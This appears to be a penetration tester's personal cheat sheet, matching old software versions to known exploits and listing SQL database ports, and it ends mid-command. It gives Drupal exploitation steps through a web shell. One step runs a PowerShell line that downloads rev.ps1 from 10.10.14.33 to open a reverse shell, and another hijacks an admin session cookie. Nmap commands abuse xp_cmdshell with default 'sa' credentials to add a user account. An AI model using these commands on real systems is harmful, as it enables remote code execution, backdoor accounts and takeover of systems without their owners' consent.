Steinz Security

Linux 2.6.x -- > Priv Esc For Cent OS - 9595 dirty cow IIS 6.0 --> (229) 10791.py- File Extension Bypass   Windows Server 2000 --> SMB VULN MS08-067 Windows Server 2003 -- NT Authority Service to System Redis 4.x/5.x Unauth --> Packet Storm other Redis Exploitation Techniques: AGS BLOG Exploiting Redis 6379 Pen Testing VNC 4 --> Real VNC 4 - Auth Bypass Drupal Exploit --> Exploit-DB ; also find modified in /root/Downloads/exploits/drupal < 7.58 < 8.3.9 < 8.4.6 < 8.5.1 1) Run the exploit 2) go to website.com/bhanu.php?cmd=whoami 2.1) http://wensite.com/bhanu.php?cmd=echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33:8001/rev.ps1') | powershell -noprofile - // Get Reverse Shell 3) a new session.json file is created 4) go to cookie manager plus --> add a new cookie from the earlier details and save it. go to website.com and see you are logged in as admin 5) OPTIONAL --

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds